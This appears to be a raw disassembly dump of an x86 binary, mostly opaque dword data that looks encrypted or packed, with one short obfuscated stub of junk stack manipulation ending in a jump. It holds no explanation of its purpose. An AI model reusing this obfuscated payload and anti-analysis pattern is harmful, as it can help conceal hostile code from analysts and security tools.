		dd 4245489h, 4244481h, 14h, 0FAC35242h,	0FE9h, 0B75A400h
		dd 699BB7Dh, 26EEF067h,	4464540Ah, 205D958Bh, 0F7800622h
		dd 1C858D66h, 0F5062986h, 60525090h, 13E8h, 0DAA15200h
		dd 941BD4A5h, 1359A90Eh, 7386CF54h, 0B5ACFF7Ch,	6E859h
		dd 6D5E0000h, 0B0B6ACAAh, 310F6159h, 10E8h, 5FE63600h
		dd 51BB75D4h, 2C64BC22h, 843AB859h, 5BCF8B61h, 5350585Ah
		dd 0EA0BB966h, 6A905Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 1CA60AC3h, 43F0B2C5h, 16595FFh
		dd 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 572A5FC3h, 6B429AEDh, 8E9h, 96F7BB00h, 7C550BADh
		dd 0FC00BF9h, 2C84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8166C8C9h, 0E93E79D7h
		dd 1A5h, 3CDADFB9h, 4ACD6828h, 481D81Bh, 0E4B65F24h, 50006A27h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 30DF4451h, 0D6C7E93Dh, 95FFDD8Ah, 6223075h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 98C35040h, 0E3650215h
		dd 2FCD8589h, 0B58D0622h, 629861Ch, 34DD9D89h, 6C70622h
		dd 656C6946h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	0B0C35747h, 98E18105h, 0C7307A52h, 6F6D0446h, 0B70F636Eh
		dd 846C7D8h, 7373616Ch,	3159BD0Bh, 46C70622h, 0Ch, 0F59D0B00h
		dd 6A062207h, 8DE3B200h, 29861C85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 66A54AE9h
		dd 0D985E181h, 3C2BB950h, 4895A32h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0F38156CEh
		dd 193FF531h, 16595FFh,	6A0622h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 66F52EC3h, 664E54BAh
		dd 0A223C181h, 840FC00Bh, 36h, 0ADEA8166h, 53E986h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 2E184BC3h, 2511AFF0h, 5747A617h, 325FDFBFh, 36E95F3Bh
		dd 6AFFFFFAh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8B88C356h, 2208819Dh, 0A4B58D06h
		dd 6A062276h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 82D2C351h, 0F3D338DAh,	0FE9h
		dd 92347C00h, 0DF91E776h, 0D4693A27h, 0B0DFC42Fh, 0B8h
		dd 0B9952900h, 0FF062205h, 518D8BE6h, 8B062216h, 0B40CEBC1h
		dd 0E304776Bh, 0B011F00h, 0E951E3E7h, 61Dh, 611E9h, 4CF78600h
		dd 0B08FFC25h, 18276859h, 8EB9C0F1h, 0F7543A67h, 81CAAA9Ch
		dd 0FA274EFDh, 5758B390h, 0C2CF2621h, 0FF6681BAh, 0B6F6029Ah
		dd 771B4113h, 3A0577AFh, 0DBAFECE9h, 7F09306Ch,	5586C5CAh
		dd 4186D716h, 70634880h, 3A556CBCh, 512A8147h, 0E93759C7h
		dd 588DBAC0h, 22FA6B13h, 473A5916h, 2C71B0FBh, 93C07F0Fh
		dd 4F9B1176h, 0A2473A59h, 0DDACD50Bh, 93FC3162h, 414A67B4h
		dd 8F079BB8h, 4679E189h, 43DD6021h, 0FB582399h,	8F4480A5h
		dd 0F8752740h, 7949215Ch, 0ACF14E3Ch, 0D7E65381h, 19266986h
		dd 8FBEC1CEh, 0DE1D4EF9h, 0A9BE4E9Fh, 5433EC0h,	0C681F704h
		dd 0F3599F9Ah, 10CA1E8Eh, 8C2F4FB3h, 0D9662950h, 6EB5AE8Eh
		dd 959E9309h, 2C8F41A8h, 80BBCECBh, 0B9CC1053h,	0D03B0474h
		dd 0FE0AE2C7h, 13498882h, 0E576E398h, 3C562278h, 94AFD9E0h
		dd 4FDD0247h, 49885B3Bh, 7542ED9Ah, 0CD726052h,	0C71389EEh
		dd 2A4988D0h, 0C28B5D83h, 449E63h, 0E3958FE9h, 42DA3F58h
		dd 52D38536h, 438CD0DBh, 0DC3D8271h, 851525F7h,	0B5F852D3h
		dd 5B26A6Fh, 0EA5CF1EEh, 2169A6C3h, 6EB2F122h, 0E2798D5Fh
		dd 1A645B31h, 0C9B3F82Dh, 26232D7Eh, 19C06CC2h,	21946DDFh
		dd 3F4B21DAh, 0D25B3159h, 0C99622DBh, 611C3864h, 7435E807h
		dd 7, 380A5A2h,	77890000h, 0D8154601h, 355B88B7h, 88ACCCh
		dd 95E32C47h, 49079AAh,	6EC6222Fh, 4595071Ah, 0A8473A3Bh
		dd 66ABC205h, 0B4F92A19h, 3C0B74C5h, 0FD64A8FDh, 69D6B97Bh
		dd 0AF4B8E1Eh, 523C1269h, 0F28794F5h, 0C7C80B49h, 52F19AB3h
		dd 0DDADC213h, 89F03D6Eh, 6FF46DBEh, 221D338Ah,	4DFA84CDh
		dd 1921FB18h, 0FC3BCB91h, 68806DB1h, 0BD3B36C2h, 0D3341367h
		dd 91EA3EEEh, 0AC0F3BCBh, 250A6F70h, 0CB912377h, 1EE7D63Bh
		dd 0A258B710h, 4BA0FCF1h, 0C3h,	62A558BBh, 0B790FC31h
		dd 4B3BF152h, 76A216D9h, 97F8292Ah, 81A97BA8h, 63473A90h
		dd 97E43116h, 68387BA8h, 473A9040h, 5FDA06B5h, 0D7741B19h
		dd 380773BCh, 8DB6C6EBh, 2741A858h, 0A7CE7D0Dh,	0E233107Ah
		dd 64E3A8E5h, 0B08DF138h, 0C2F7CCBh, 275398CDh,	905A6E3Eh
		dd 0FCBF473Ah, 3B4368BDh, 0C029DF0Ch, 0CFAA82A8h, 448DB6C2h
		dd 6DD40837h, 0E261290Bh, 81048885h, 57B04602h,	9AC6F9D9h
		dd 43464879h, 669F1F95h, 0FE8A807Ch, 0A52BEF2Eh, 19F22362h
		dd 0D5131E8Eh, 0F9102F5Fh, 5687C0C8h, 3A8F7586h, 19226A47h
		dd 74D3A7F4h, 464ED27h,	195F1A2Eh, 0ADDC6D1Bh, 152ED9Ch
		dd 3372A3E2h, 773D99F0h, 0F8474801h, 44988ABh, 7BC8B2FFh
		dd 0D36C1C25h, 2DD1CDB6h, 73FA65FFh, 0A4F83B08h, 8FE96681h
		dd 3158E395h, 3A34909Fh, 0A51E7B47h, 351C7EDEh,	79DD0317h
		dd 51F33905h, 8C08A51Eh, 0B4CD8E76h, 0FEF7A568h, 586DFFFFh
		dd 690364ABh, 49183DC6h, 0C6128AEFh, 2B411835h,	0D6E55C80h
		dd 4C334085h, 518FAEFFh, 0A5D56428h, 0F73675A6h, 78E9939Ch
		dd 183594A4h, 98147941h, 41183570h, 94D716A5h, 0E45F2A47h
		dd 0D028C1B7h, 7585177Ch, 98411835h, 0DAA2CF15h, 49230861h
		dd 41183521h, 58BBD9D4h, 0C91A2557h, 0A5F5A78Ch, 48411835h
		dd 5A6D3F65h, 43411835h, 0D6750538h, 5F294697h,	28C1B7E4h
		dd 121F5AD0h, 152E5ED6h, 53B89DFAh, 1835B1D9h, 87496441h
		dd 41183573h, 0B2DA17A6h, 5E2E4B89h, 6E53B0E5h,	18356ABEh
		dd 0F02C8F41h, 41A6EDE6h, 3A5EFCABh, 0BDDAD14Fh, 32F3BAC4h
		dd 8BAAFB48h, 0C9D5A3F2h, 7B68488Bh, 0B5C6D334h, 0FA264596h
		dd 5E100597h, 0D4214565h, 5BE892ABh, 7BA8EB0Ah,	8E2DE438h
		dd 0E64F385Dh, 0AA54E075h, 4D3B469Ah, 0E2969BF2h, 93783459h
		dd 57577A82h, 0A2D64EAAh, 39414E99h, 0D9A0ED0Ah, 0EE5D216Eh
		dd 32466BB2h, 86D77407h, 0BAF72467h, 8DDD4FD2h,	6053F6D5h
		dd 94D90A4Dh, 0EB0E5FE8h, 8240A6Eh, 0BE41D8A9h,	22D9DC25h
		dd 6E172445h, 0D00CE9D6h, 0D83D0F69h, 4095AEDBh, 0C9277325h
		dd 0E3CA53F6h, 0E9E499BDh, 93F13D26h, 0E4000000h, 3A66E197h
		dd 0FD04776Ah, 0A3D577CBh, 53284B98h, 76A9F241h, 0DE6D121Fh
		dd 44FF8AB7h, 98A3D623h, 68161B44h, 0FF8FB0DBh,	0A4EA2740h
		dd 0E93776A7h, 72D1B9E6h, 88F13E1Bh, 2F7CC7B1h,	6A97CD0Ch
		dd 0E05F2B1Eh, 0D63170B3h, 7198A3E9h, 0DC013E40h, 88F30059h
		dd 26F16ABBh, 0F3B7ECBCh, 2B72AEE1h, 98CD7606h,	4FABCDB4h
		dd 4726722Ah, 0E0CB473Ah, 320D5E89h, 91h, 9CAD7FE0h, 6A473A3Bh
		dd 765B81E7h, 634C5539h, 4AA96FFAh, 3675A6D9h, 4775AEAh
		dd 0A3D52247h, 0F4284B98h, 6AD9A6EBh, 0C27B000Dh, 104C8FBCh
		dd 8CB7C2CFh, 0D3523C65h, 3A3B3159h, 0B0C9E447h, 3A3BACFCh
		dd 2B6A4147h, 8DBAC1CEh, 5E601D58h, 80B91A31h, 1D024D93h
		dd 76BBD271h, 0C414904h, 4285C483h, 8F92E62Bh, 184DF682h
		dd 0B1FF0BDDh, 8656473Ah, 0FB615650h, 0F23F7EC3h, 1B7CBF8Ch
		dd 83D16A1Eh, 122D5F40h, 364FBh, 0CBCE0000h, 3D067773h
		dd 8EB9C3E8h, 0DF68105Dh, 2A19618Eh, 7DCAB4F9h,	0CC7B0328h
		dd 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 6768696Fh,	8900000Eh
		dd 0E2892414h, 4C281h, 0EA830000h, 24148704h, 0E389535Ch
		dd 4C381h, 0EB830000h, 241C8704h, 243C895Ch, 8904EC83h
		dd 68532434h, 12B57ACh,	0FFEB815Bh, 81FFFFFFh, 1C9BCEBh
		dd 5BDF89FBh, 24348B54h, 4C481h, 0EC830000h, 243C8904h
		dd 8B08468Fh, 89532434h, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 2434FF5Ch, 4C4835Fh,	0F8EEE6E9h, 0EE8489FFh,	82B84472h
		dd 3062993h, 0E8D38BC5h, 0Eh, 0F4D90E84h, 0C45685C3h, 0F9BF1714h
		dd 11E9015Fh, 72000000h, 3A99378Ah, 343C93EBh, 6D01DDD2h
		dd 2039C0A3h, 81CA8B5Bh, 5E2AC3h, 13E900h, 0A8BA0000h
		dd 1DB9F4DFh, 76C8DF8Ch, 1CAC387Dh, 0AE309A0Bh,	2C52BACFh
		dd 0C2813A14h, 0C5EBEAF2h, 0A6C1B966h, 0E95333FFh, 0Ch
		dd 1D021DDFh, 835DB707h, 2AB22767h, 8B665F5Eh, 4FC781CEh
		dd 0B41C6385h, 9C78180h, 0F7734CFh, 80h, 4AF78100h, 601A76FEh
		dd 12E8F9h, 0BDEF0000h,	232FC9D0h, 0C4325F54h, 0D215A830h
		dd 2D4E2BB4h, 5FCB8B66h, 8FF85761h, 3880F03h, 0F000000h
		dd 0EB81CFBFh, 1EAD61BDh, 20810Fh, 8D0F0000h, 1Ah, 14E8h
		dd 42B6BE00h, 8292E8EFh, 79D8721Ah, 0EACB4E61h,	9997B771h
		dd 0C38159DAh, 1EAD61B9h, 407FB866h, 20850F4Ah,	0E9000000h
		dd 6, 8AF26F63h, 1FE966B7h, 0F5000000h,	0BE1255F9h, 9C7597C3h
		dd 0B17EA9ADh, 0E9FE3F44h, 0FFFFFF40h, 0EDC9EEBDh, 88A98F8Ch
		dd 13E83179h, 13000000h, 30A67613h, 0C9DCEDAh, 0CC2F8C8Dh
		dd 4CFF5C78h, 0F28BE99Eh, 0A4C18159h, 600000E9h, 61C68BF8h
		dd 68h,	3800F00h, 66000000h, 815FD08Bh,	10B8D0EAh, 391C8B73h
		dd 0CDD88166h, 30EB8189h, 0E91D77E0h, 11h, 6F3EC741h, 372300E7h
		dd 613878B8h, 0BD25B7DFh, 4BEB81DEh, 0BE00CA82h, 10600958h
		dd 6D57F381h, 8B665305h, 391C89C7h, 5E8h, 81AE0A00h, 18B4706Ah
		dd 0A840F5Ah, 60000000h, 382CC081h, 0C78B5473h,	3EF8361h
		dd 664FC78Bh, 5B87DA81h, 1734FF81h, 850FFFFFh, 10h, 0D23FBE66h
		dd 2EE9h, 7ED09C00h, 7AA2061Ah,	10E8h, 6CB88B00h, 0E7CC4CB5h
		dd 0B4C17817h, 0CDDF3750h, 0E958F9C6h, 0FFFFFF65h, 87FEA92Dh
		dd 1A8E298Ch, 0E99D9F76h, 2Ch, 6735407Eh, 0Ah dup(0)
		dd 0D0FE9h, 98536800h, 94E90629h, 68FFF8ECh, 6299982h
		dd 0F8EC8AE9h, 9A4268FFh, 80E90629h, 68FFF8ECh,	6299AE0h
		dd 0F8EC76E9h, 9E4B68FFh, 6CE90629h, 68FFF8ECh,	629A0FEh
		dd 0F8EC62E9h, 0A1CE68FFh, 58E90629h, 0FCFFF8ECh, 525FB691h
		dd 0CEF31A29h, 266B82C1h, 9081E853h, 303651EEh,	0A897E730h
		dd 1D2A5041h, 80BBCDF2h, 0EB543869h, 6C005980h,	4113AD5Ch
		dd 0CFB81DB1h, 608D37BBh, 6E1B5414h, 77F78FD5h,	0FA493607h
		dd 33456ABBh, 0E49FE108h, 0E1A27A9Fh, 0EE49181Ah, 7BD9AACFh
		dd 2BC66905h, 85C48308h, 2E7E0E5Fh, 3341188Dh, 0BE8DF14Ch
		dd 0DE0F4E6Dh, 0C51EE91h, 0D75B9D54h, 5178F079h, 4BD1221Ch
		dd 28B9h, 0AB586100h, 32690364h, 23491853h, 23AAFEAEh
		dd 6C4F4118h, 182CF82Dh, 0E6411823h, 97CAFD7Bh,	224BD1C3h
		dd 7, 8CBA5E8h,	77890000h, 0C4E93A05h, 14648FB8h, 92F7105Fh
		dd 1A4BF485h, 3BE109DBh, 9914473Ah, 0A986167Bh,	7E491843h
		dd 0E5EEE3Fh, 0F0411833h, 0A5D8EF09h, 304BD1CFh, 4Dh, 64AB581Eh
		dd 23F9DE03h, 473A3B17h, 90C57E0Ah, 0BACFEC55h,	0DE115C81h
		dd 0F95F8325h, 0DE0262EAh, 18AADB0Ch, 54793449h, 18CE7498h
		dd 26256941h, 66D7B8F5h, 0B9EA2D16h, 133D0A74h,	8240A6Eh
		dd 6DE02741h, 484BD0E6h, 0F1h, 3A0577D6h, 0C91BECE9h, 62DDAFE6h
		dd 6709F231h, 0F039670Fh, 4F6CB18Eh, 9CD1023Dh,	6C3C57F0h
		dd 473AAFB8h, 9EA2F44Dh, 72C1BA7Eh, 3EF6EF1Eh, 0FF2564D3h
		dd 1871CAB2h, 0B3DC6D1Bh, 0E5244794h, 216B54BFh, 0AB90F526h
		dd 3AE5A9F1h, 33614C47h, 0A4EB2AD9h, 3667E0A9h,	93CFB4F7h
		dd 9AB0B5D3h, 38F41554h, 4918F32Fh, 2127D30h, 37E50251h
		dd 4F3C122Ch, 58BDDAD1h, 0EA592673h, 7D45EE3Ah,	74A8034Bh
		dd 0EB02414Dh, 9F6BD8A6h, 0EF9478FEh, 6BC75A6Bh, 2400000Ah
		dd 9A87EE59h, 0F63B52F1h, 6E53BA89h, 0D8C9201Bh, 87E89B6h
		dd 0E05F2F68h, 55F29889h, 0B883F53Ah, 231C6051h, 0A47801C8h
		dd 4113A394h, 774DD579h, 1E398207h, 0F38C35F9h,	4F18BC9h
		dd 11507D56h, 7020E1F6h, 8F4A845Bh, 0A3E9104Ch,	3687198h
		dd 3A214169h, 0DBF9B447h, 64AB580Bh, 41666903h,	20F4918h
		dd 5F9ECF7Ch, 44A50801h, 0A9FA4537h, 0B4AF584h,	0F253B0D5h
		dd 0F0B2B5E2h, 80ED2009h, 0D76CAB3h, 0CE1EA8F4h, 0D34118ADh
		dd 23489DA6h, 56BAEB58h, 4BD94DABh, 5F6B0166h, 0B24118ADh
		dd 0FA0E9EFBh, 1F4118ADh, 7FF9409Ch, 0F560348Dh, 0D9FD4FBCh
		dd 54DE93BBh, 0BDFB4BD1h, 23000000h, 0E93A0577h, 6C8DBAC4h
		dd 0B1E25D2Fh, 4D1F2E72h, 473A37D9h, 0E40F3844h, 1078D1BBh
		dd 3E4F9B11h, 0BA2473Ah, 384489C8h, 0BEE3044Bh,	0E03C0771h
		dd 18550D46h, 709B1249h, 0CB2C7360h, 3C8FB551h,	6B87404Fh
		dd 3512793Ah, 0DA38C5E0h, 0F1287433h, 2E505DBAh, 0CC0FF811h
		dd 61137E31h, 0AF90F321h, 0ED9660DFh, 68EF950Bh, 93CC05Fh
		dd 88F50000h, 206B54BFh, 0B8C7C823h, 4A3F608Bh,	0E5A996F1h
		dd 393B0F66h, 56B18EF0h, 0CB222169h, 7E89B2C6h,	99F04B31h
		dd 4793096Eh, 0AA4113A2h, 7773CE4h, 3B7A8E1Eh, 1C9F473Ah
		dd 40A5B2DDh, 3A3B9CACh, 4B347147h, 5A67BDFCh, 24FE0932h
		dd 0DD3A0577h, 3B1424F8h, 0B2F9473Ah, 0E3310E7Dh, 5CE795DAh
		dd 1A90A835h, 2FFD1A69h, 49182814h, 42D0B2F9h, 0D95F18EFh
		dd 0CA2F746Fh, 5182C1CDh, 118BCE12h, 0E6FF7186h, 2C1762AFh
		dd 70AC9BE3h, 0A4A1F2B9h, 67142557h, 117B99D8h,	20FC1D62h
		dd 0FF1564AEh, 929FF8B3h, 112A5FEAh, 1F60A1CCh,	9986E120h
		dd 0CBBE48F3h, 963FACEFh, 87CBA85h, 48350000h, 0E0AB94FFh
		dd 78070863h, 0A7FA0CBh, 0A5E9D631h, 797B4FA6h,	96F14E30h
		dd 0B62E1A9h, 0BEC97206h, 0D9300B71h, 87D3492Eh, 6A4113A1h
		dd 5777CA4h, 0A8FD4A34h, 0D068C637h, 0DA1DFEB3h, 590A4A9Bh
		dd 3C3FED0Ah, 94918BCh,	0AB204824h, 0E6D54118h,	56228FBAh
		dd 807DB8EDh, 0C7F46740h, 49AEE17Eh, 7C0D3C4Ch,	386980C3h
		dd 16A6F750h, 41183CC2h, 184C3458h, 64D0641h, 0C7FBCE1h
		dd 91CFEE3Fh, 3A5D28F7h, 0B9DEDD4Fh, 0EC300F7Ch, 5FE894D9h
		dd 97CDCCABh, 0F94051EFh, 7DEh,	325DE697h, 0A6C17E0Dh
		dd 0DE291679h, 749FA8D1h, 0ED04434Bh, 0EC92DB9Dh, 7F0B345Fh
		dd 1078A9C0h, 0A9D3DC37h, 0EB8C779Eh, 13A1E931h, 0DE460C41h
		dd 364AB58h, 184ACA69h,	25CA3B49h, 0AA641D5Fh, 8FACF130h
		dd 592A4FFCh, 0D6C54C1Fh, 63395E88h, 41182857h,	0A2ADF3BAh
		dd 0EC310E7Dh, 49AEF1E0h, 0DA651764h, 94366A89h, 4118287Ch
		dd 0B28DFC39h, 0ABF8B36Eh, 9478F061h, 28ADFDAFh, 6D404118h
		dd 0C2810A37h, 9CAC40A5h, 71411828h, 2BFDE63Ah,	4118281Bh
		dd 92F73829h, 1828E21Ah, 0D24A4F41h, 41182886h,	0E601406Bh
		dd 2075D2B9h, 1828B894h, 0A9CFB241h, 2843008Bh,	52B794E7h
		dd 75053445h, 276685D6h, 5C69B7F6h, 0B994FA37h,	22172D1h
		dd 0D01F3AC3h, 5DF45507h, 46016507h, 561B4118h,	0DA691212h
		dd 0B4C458BDh, 59411846h, 0D514335Ch, 7D74448Fh, 46709814h
		dd 30A54118h, 18462C7Ch, 0ABEAC141h, 7D020F68h,	0AD7F92CEh
		dd 4118469Ah, 0F5B3DAABh, 0B16D09B3h, 0D607B663h, 0FAA29D06h
		dd 90E8911Ch, 6FFE0479h, 1A6D1D7h, 58790000h, 420364ABh
		dd 3D7C6534h, 0C4154B14h, 18A9D328h, 65371C49h,	41189E55h
		dd 3A074048h, 9EB3C755h, 57664118h, 5A51C814h, 0B38CF03Dh
		dd 0A076C6Dh, 5F9AC685h, 8E45A82Dh, 6927641h, 0AF7DA2C7h
		dd 4118269Bh, 0FEE13F7Eh, 1CACBB1h, 0F0E2C17Bh,	2AFA2B6Ah
		dd 0CFDE597Ch, 3F6CD7A5h, 6CB18AF2h, 6BBF39A8h,	3814549Dh
		dd 6EB28DFBh, 0E70E3943h, 2469D2BAh, 9DA6D2DFh,	135C1547h
		dd 79C2B7F8h, 0EC750754h, 539FE830h, 6FAE0DCAh,	0D6711B04h
		dd 45334085h, 2604A6FAh, 0A099A902h, 87F52F49h,	206C55BCh
		dd 0DB96F627h, 91B97394h, 5CB8CE61h, 0CD1E295Fh, 0F4C772AEh
		dd 56F58693h, 59BAE605h, 7A398740h, 0A8AD7A83h,	0CE0EA4F4h
		dd 236249B8h, 7DCAB4FDh, 0EA352C28h, 0EC71F8Dh,	832AB8CEh
		dd 0EA552768h, 3D0A74B9h, 3BBD24E8h, 89B6C4D1h,	0C6173058h
		dd 4C3079A7h, 72BF98F3h, 4EDE3B08h, 0B8CE0E3Ah,	7980DCDFh
		dd 99FB2813h, 0AA42A7E8h, 0B8CE0E96h, 7286167Bh, 0A7B8CE0Eh
		dd 75BAD514h, 0EAEF3C07h, 3162E1ADh, 0E3058D4h,	0D6E5B8CEh
		dd 0F6C0EE97h, 1AB2A448h, 0C8CDBBC6h, 729957ADh, 7F2D4A96h
		dd 0B8CE242Bh, 4BACEFCEh, 0FCF97FAh, 4F95659Dh,	0D117D23Eh
		dd 64382953h, 0B8CED654h, 58B3F2B9h, 64142557h,	94B98DBh
		dd 3AF21758h, 0B8CED6FAh, 444DA417h, 0BDDA0B34h, 0D6B4C458h
		dd 5259B8CEh, 0C415CC0Eh, 1C5F8CBBh, 0C8E0BCDDh, 4DB8CED6h
		dd 800C096Eh, 0D6FF0BE1h, 9B12B8CEh, 43DB0458h,	0DD3A0577h
		dd 0C7350FF8h, 0DA08F697h, 3AAAFE0Ah, 0EEBE1347h, 473AAADAh
		dd 0E73D7C3Fh, 98E79CFCh, 6C1D1A7Fh, 3D6382D3h,	18C3B86Bh
		dd 61289549h, 3542A7E6h, 0D2774243h, 25A68DBFh,	53A085E2h
		dd 3D4D1F2Ch, 20411894h, 5B52EF58h, 0A3D5DA05h,	5A094B98h
		dd 0C738F415h, 104F3A9Ah, 8D29712Bh, 0E1CC4B7Eh, 9B1186B3h
		dd 4B7E8D4Fh, 9BC80BA2h, 7EFDA5C9h, 0F583904Bh,	86DA194Ah
		dd 37509F54h, 5C8CDE65h, 3F6C4F45h, 0C9B18AF2h
		dd 0E9752020h, 731DEC3Dh, 3C000004h, 929FF651h,	0E335AE9h
		dd 66ABC281h, 0D0C12813h, 707691AEh, 0E8572770h, 5DEA9081h
		dd 0C07B0D32h, 2B1478A9h, 0AC4019C0h, 4113A59Ch, 5845DD71h
		dd 0DE0364ABh, 409CA7D1h, 183B61A6h, 22477649h,	0E79CA7D5h
		dd 0C3EFE00Dh, 84A1FF52h, 1866A7C8h, 5A9E5B41h,	0D17B3A37h
		dd 0BE6E534Bh, 41186E6Ah, 2DF02C8Fh, 84h, 3BF4E8F5h, 42A7473Ah
		dd 0DA064535h, 0D46F1D54h, 5EA55BBDh, 0B173D439h, 0DF3263EEh
		dd 70805A86h, 0A5473ADCh, 0E4A8C516h, 5E27305Bh, 0A2D15919h
		dd 84D60A10h, 886485CCh, 473AA268h, 0A0CD1E9Dh,	280863DCh
		dd 0B398F138h, 3AA2D1F9h, 2B694447h, 0A2067626h, 0C0EB473Ah
		dd 62BDC193h, 9A474739h, 0B0F7E95Eh, 0E291C557h, 317C473Ah
		dd 0DF3BD6h, 0ED560000h, 98E4F326h, 0E3B9DEF1h,	473AC7D7h
		dd 912D733Ah, 5A99E65Fh, 0F4FCFE61h, 36CF03A9h,	0E331EC93h
		dd 54B5FAE9h, 18BF3BD8h, 9CC1EC49h, 0F51C2B5Fh,	0DB1AEFE3h
		dd 78830BCAh, 49234487h, 4119392Dh, 0CEBEFBD0h,	53052075h
		dd 41193907h, 5380C3EAh, 506E8081h, 0A1C78297h,	0D0D5F36Eh
		dd 77250A4Bh, 41193123h, 0BF925DD6h, 0CA4B258h,	6A8E97CDh
		dd 94000000h, 267AA58h,	94B986F5h, 0C8771849h, 83D74594h
		dd 76473A3Bh, 0DB641461h, 91B96B8Ah, 74473A3Bh,	0A9043D0Ah
		dd 82082576h, 0FD8CBDCBh, 0A7C00342h, 0E819226Ah, 147FA5A2h
		dd 0E6034E04h, 3A3AB636h, 6768347h, 97CDE83Dh, 32C2139Ah
		dd 4739FAE2h, 3A0F6918h, 0CE0F948h, 473A7AA8h, 18315865h
		dd 5C95D473h, 0BBD21532h, 3A0577E3h, 8FB8C4E9h,	105F1464h
		dd 0F9FD0EF7h, 60B592F9h, 0A245B845h, 111B2FFDh, 0BFFE473Ah
		dd 7B31207Ch, 491869F4h, 33C11299h, 411808E3h, 0ECBBC1Dh
		dd 427F30A3h, 0F276F321h, 0D10AA2DFh, 34374Bh, 55A20000h
		dd 29C51B24h, 364AB58h,	18416669h, 0B7E4D749h, 59206D52h
		dd 0AE7EBDEEh, 4118319Ah, 46E03C7Fh, 41183136h,	0A0E701C8h
		dd 4BD1D1ADh, 0BD08h, 5771600h,	0BAC4E93Ah, 6913588Dh
		dd 5A9DAAD0h, 0BD8AF03Dh, 0F6174D68h, 168D3B9h,	3A379F8Fh
		dd 4FFA8247h, 93D20340h, 92FA3750h, 27686BA9h, 5BB9EA55h
		dd 0D93E5BA8h, 4C90AFDCh, 183931BAh, 0B4DFDE49h, 6146AFA4h
		dd 18297F8Bh, 491B9241h, 41182921h, 3E1CD9D4h, 9F9DB26Fh
		dd 31EB0C4Fh, 4F3C53DDh, 1F1C7D30h, 91AADE6Fh, 0E15A2F4Ch
		dd 1B046FAEh, 3122D473h, 3CEF950Fh, 1C01CE3h, 4890000h
		dd 9CEFD03Bh, 345B44AFh, 0C6B3FC17h, 612D127Dh,	0BDBF8BE2h
		dd 0D23D0A74h, 47AE9DEDh, 0FA152E5Ah, 157CC7B5h, 0CB1F8DEAh
		dd 2E41139Bh, 777B868h,	0BBFA4936h, 221D6F50h, 0AB5853CBh
		dd 88F60364h, 154B6ABBh, 412728C4h, 0A5084918h,	3190A470h
		dd 0B6E4118h, 0EB925D26h, 4242EC58h, 18764692h,	0DC00AB41h
		dd 48391355h, 0F08B8EBFh, 60B4E85Fh, 4BD173EDh,	8EC8h
		dd 5775600h, 0BAC4E93Ah, 3BA9F1ABh, 614C473Ah, 0FF2FFD2Eh
		dd 22473A37h, 8B88E15Ah, 0B4E7F900h, 2DE299BDh,	64ADB6EAh
		dd 9EFE2F18h, 0A3799EE5h, 491856C8h, 0AD8FE6D5h, 9C1069B6h
		dd 4F3CD59Bh, 0D3203974h, 4C759CABh, 0D8750542h, 5EF94C1h
		dd 0F03534h, 0D4B90000h, 6C1F006Bh, 48BB4DFh, 96E32C47h
		dd 315D42ADh, 0ED8FFB12h, 26DDAA4h, 0B7DE6D1Dh,	2A45FE8Ah
		dd 45AC97E5h, 1B2FFD9Ah, 0FE41139Ah, 777C858h, 9CE0D138h
		dd 77D248A3h, 0FA453405h, 37456ABBh, 8986EB0Ch,	449444FFh
		dd 0A9473A3Bh, 0A3B5DE02h, 960663B0h, 4921C552h, 0A2A7F4C7h
		dd 69C2555h, 2FFB6AB0h,	8EADFE31h, 0DA651752h, 45FE8EB3h
		dd 60214410h, 48A12E7Fh, 0BF88F430h, 9C216B54h,	48304268h
		dd 0F68FAEFFh, 8F1DC219h, 207CF17Bh, 9DDC1F9Eh,	800E0B48h
		dd 1E5392C3h, 6F8EDF6Ch, 0C6810831h, 19305895h,	4697D675h
		dd 0B5E66529h, 0F18CDC50h, 4A61207Ch, 0F135B3BEh, 0D64EAA57h
		dd 8B7C9DA6h, 0E81775ADh, 8DB6C6A5h, 0CB74054Ah, 0DA055B9Ah
		dd 8926A7D5h, 4DEEF17Eh, 0BD6341A4h, 0BCFF8D67h, 3D1287Dh
		dd 3D000000h, 67773CBh,	0B9C3E83Dh, 68105D8Eh, 19618EDFh
		dd 0CAB4F92Ah, 7B03287Dh, 27529FCCh, 0DDA2CF1Ch, 8BF03D6Eh
		dd 68696FBCh, 39D3h, 68240489h,	5FCh, 68243489h, 542Eh
		dd 68243C89h, 629968Bh,	8124348Bh, 4C4h, 3C8B5400h, 4C48324h
		dd 8904EC83h, 0F389241Ch, 5B085F89h
		db 8Bh,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		dw 2FF9h
		dd 8C2618D3h, 0F75995BEh, 29A2E3B8h, 0FFC50306h, 0FB4D09E0h
		dd 9DB80C7Ch, 5A04D944h, 202E0A7Ch, 4F8D8D5Dh, 6A0629A4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 177FC357h, 559D8B40h, 89062233h, 2233F18Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 203243EAh, 61E8F430h, 2D3185C7h,	74BC0622h
